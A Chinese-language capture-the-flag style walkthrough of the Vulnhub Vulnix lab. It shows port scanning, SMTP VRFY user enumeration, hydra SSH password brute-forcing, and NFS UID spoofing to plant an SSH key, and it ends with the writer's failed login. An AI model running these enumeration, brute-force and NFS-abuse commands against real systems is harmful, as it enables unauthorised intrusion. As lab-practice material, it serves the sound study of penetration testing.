[TOC]

Vulnhub-21Hack-Lab-Vulnix

信息收集

1
arp-scan -l          nmap --min-rate 100000 -p- -A 192.168.240.131 

端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
PORT      STATE SERVICE  VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)
| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)
|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)
25/tcp open smtp Postfix smtpd
|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
79/tcp open finger Linux fingerd
|_finger: No one logged on.\x0D
110/tcp open pop3 Dovecot pop3d
|_ssl-date: 2024-11-25T16:28:26+00:00; +8h00m00s from scanner time.
|_pop3-capabilities: PIPELINING STLS SASL CAPA TOP RESP-CODES UIDL
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100005 1,2,3 55466/udp6 mountd
| 100005 1,2,3 57000/tcp mountd
| 100005 1,2,3 57329/udp mountd
| 100005 1,2,3 58695/tcp6 mountd
| 100021 1,3,4 42660/udp6 nlockmgr
| 100021 1,3,4 44738/udp nlockmgr
| 100021 1,3,4 51677/tcp6 nlockmgr
| 100021 1,3,4 52708/tcp nlockmgr
| 100024 1 36845/tcp6 status
| 100024 1 37674/udp status
| 100024 1 47034/tcp status
| 100024 1 59653/udp6 status
| 100227 2,3 2049/tcp nfs_acl
| 100227 2,3 2049/tcp6 nfs_acl
| 100227 2,3 2049/udp nfs_acl
|_ 100227 2,3 2049/udp6 nfs_acl
143/tcp open imap Dovecot imapd
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_ssl-date: 2024-11-25T16:28:25+00:00; +8h00m00s from scanner time.
|_imap-capabilities: have SASL-IR LOGIN-REFERRALS more post-login capabilities listed STARTTLS LITERAL+ OK ID ENABLE LOGINDISABLEDA0001 IDLE IMAP4rev1 Pre-login
512/tcp open exec netkit-rsh rexecd
513/tcp open login?
514/tcp open shell Netkit rshd
993/tcp open ssl/imap Dovecot imapd
|_ssl-date: 2024-11-25T16:28:04+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
|_imap-capabilities: SASL-IR LOGIN-REFERRALS more have capabilities AUTH=PLAINA0001 post-login LITERAL+ listed ID ENABLE OK IDLE IMAP4rev1 Pre-login
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: PIPELINING TOP SASL(PLAIN) CAPA USER RESP-CODES UIDL
|_ssl-date: 2024-11-25T16:28:04+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server
| Not valid before: 2012-09-02T17:40:22
|_Not valid after: 2022-09-02T17:40:22
2049/tcp open nfs_acl 2-3 (RPC #100227)
34861/tcp open mountd 1-3 (RPC #100005)
47034/tcp open status 1 (RPC #100024)
52708/tcp open nlockmgr 1-4 (RPC #100021)
56594/tcp open mountd 1-3 (RPC #100005)
57000/tcp open mountd 1-3 (RPC #100005)
MAC Address: 00:0C:29:04:C2:10 (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10
Network Distance: 1 hop
Service Info: Host: vulnix; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 7h59m59s, deviation: 0s, median: 7h59m59s

TRACEROUTE
HOP RTT ADDRESS
1 0.92 ms 192.168.240.131
1
2
3
4
5
6
7
8
9
10
端口比较多,这太难为我了,好多端口功能都不太清楚,发挥我强大的学习能力以最少时间学习这些端口。
22号端口:一会尝试hydra进行爆破账号密码
25、110、143993、995:邮件服务端口
79:Finger服务,在本地主机执行finger命令之后,将会返回本地计算机所有的用户信息(包括用户名、最近登录时间、电话等),远程同理
111
512
513
514
2049、3560641352、4243946640、54966:NFS网络共享服务,通过showmount命令查看靶机的哪些目录被共享showmount -e 192.168.240.131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
25端口 
首先 nmap --min-rate 100000 --script=*smtp* -p 25 192.168.240.131
从中我们可以获得以下信息:
smtp-enum-users脚本无法枚举用户
邮件服务器并未使用Exim软件,无法使用CVE漏洞攻击(因为Exploit DB中的大部分有效漏洞都是Exim的)
靶机的SMTP服务支持以下命令:vulnix、PIPELINING、SIZE、VRFY、ETRN、STARTTLS、ENHANCEDSTATUSCODES、8BITMIME、DSN

其中,最有价值的SMTP命令为VRFY。该命令接收一个SMTP用户名参数,并向服务器查询该用户是否存在,若输入的用户名存在则返回状态码252,否则返回状态码550。也就是说,我们只需要提供字典,就可以通过该命令对服务器的SMTP用户列表进行暴力破解。
这里我们通过Kali Linux自带的smtp-enum-users工具进行破解,字典选用/usr/share/wordlists/metasploit下的unix_users.txt。该字典包含了大量Linux操作系统上常见的用户名。

# -M 指定SMTP爆破命令
# -U 指定用户名字典
# -t 指定目标
最后 smtp-user-enum -M VRFY -U /usr/share/wordlists/metasploit/unix_users.txt -t 192.168.240.131
发现了28个账户。其中root、ROOT和user账户比较显眼。除了root账户,判断它们是使用者而非系统建立的。

image-20241125165820410

image-20241126222310429

1
2
3
在这里我用的是一个虚拟环境
#python3 -m venv python虚拟环境 //创建一个虚拟环境
source python虚拟环境/bin/activate //激活环境(Linux) python虚拟环境\Scripts\activate.bat //激活环境(Windows)
1
2
79: finger {backup,bin,daemon,games,gnats,irc,landscape,libuuid,list,lp,mail,messagebus,man,news,nobody,postfix,postmaster,proxy,root,ROOT,sshd,sync,sys,syslog,user,uucp,whoopsie,www-data}@192.168.240.131
没有找到任何信息

image-20241125170137779

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
NFS服务简介
NFS,Network File System,中文为网络文件系统。NFS服务的作用就是将服务器的文件以文件系统的形式共享给多个用户。NFS服务依赖于RPC协议。
下面举一个比较常见的案例:在网吧或者数据中心中,管理员通常在一台中心服务器上安装NFS服务。中心服务器上共享的是局域网内所有主机的所有用户的个人目录,这样就可以节省单台主机的数据存储成本。而如果在客户端内查看当前用户的个人目录,会发现它在肉眼上和普通的目录没有区别,但实际上该目录是由NFS服务挂载的网络共享目录。
NFS服务进程
NFS网络文件系统会启动4个子服务:
portmapper,作用为将RPC程序号解释为本机的网络端口号。当客户端向其发起查询请求时,它会返回NFS mountd服务注册的端口号。
mountd,NFS的访问控制程序。作用为检查客户机是否在NFS的访问控制列表内,并向客户端连接发放令牌。
idmapd,NFS的用户账号集中映射程序。作用为识别客户机和服务器的系统账号信息。
nfsd,NFS的主进程。作用为向服务器内核发送文件系统指令并返回执行结果。


NFS客户端向服务器发送一次请求的完整流程如下:
本地用户查看网络目录文件,发送list指令到客户机内核。
客户机内核识别出该目录为NFS网络共享目录,随即发送RPC数据包,向服务器的111号端口查询服务器NFS mountd服务注册的端口号。
服务器接收了客户机的查询指令,返回了mountd服务的端口号。
客户机向服务器的mountd服务端口发送访问请求。
服务器的mountd服务接收到客户机的访问请求后,首先查询访问控制列表,若客户机允许访问,则创建访问令牌并将其返回给客户机。
客户机带访问令牌访问nfsd主服务。nfsd主服务校验令牌后发送list指令到服务器内核并向客户机返回执行结果。若客户机用户UID和GID经集中映射后,和要访问的文件所有者UID与GID信息不一致,则返回拒绝访问。
客户机内核接收到执行结果后,将其返回至用户Shell。流程结束。


NFS安全问题
我们都知道,NFS服务只是根据客户机发送的UID和GID信息进行文件权限识别。但是如果有一台恶意机器通过已经泄露的UID和GID信息访问甚至向服务器上传或覆盖文件呢?
一般情况下,只要在恶意机器中创建一个和服务器文件所有者相同UID、GID的账户,就可以对服务器文件进行读写,如果允许的话。这样攻击者就可以对机器进行渗透甚至提权。

通过showmount -e 192.168.240.131,我们发现vulnix账号以及它的home的目录
使用SMTP邮件服务的VRFY命令验证用户 存在

image-20241125170418503

image-20241125170718267

1
2
3
4
5
22端口 版本号是OpenSSH 5.9p1 有用户名枚举  https://www.cnblogs.com/su-sds/p/17414659.html,同样可以探测出用户名

hydra -L ./user -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 10 ssh://192.168.240.131
login: user password: letmein
ssh user@192.168.240.131 通过ssh直接登录

image-20241125204400626

提权

1
LinEnum.sh  linpeas.ssh

image-20241126225141467

image-20241126231357968

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gcc -static -pthread dirty.c -o dirty -lcrypt  用脏牛试一下不行
这里提权需要用NFS文件系统服务
查看用户vulnix的UID和其所属组的GID,发现为2008:2008。既然如此,我们直接在本地(攻击机)创建一个UID和GID均为2008的用户对NFS进行挂载即可。执行一下命令
groupadd -g 2008 vulnix
adduser --uid 2008 --gid 2008 vulnix
su vulnix
mkdir /mnt/vulnix_nfs
chown -hR nfsattack:nfsattack /mnt/vulnix_nfs
mount -t nfs 192.168.240.131:/home/vulnix /mnt/vulnix_nfs

直接创建SSH配置文件夹并上传公钥文件。
首先切换至原用户(我原来在本地用root),使用ssh-keygen命令生成公私钥,并将公钥文件改名为authorized_keys上传,权限为600
exit
ssh-keygen
cat ~/.ssh/id_rsa.pub > /home/nfsattack/authorized_keys
su nfsattack
cd /mnt/vulnix_nfs
mkdir .ssh
cat ~/authorized_keys > ./.ssh/authorized_keys
chmod 600 ./.ssh/*


ssh -o 'PubkeyAcceptedKeyTypes +ssh-rsa' -i id_rsa vulnix@192.168.240.131
1
就在这里,ssh一直登不上,遂放弃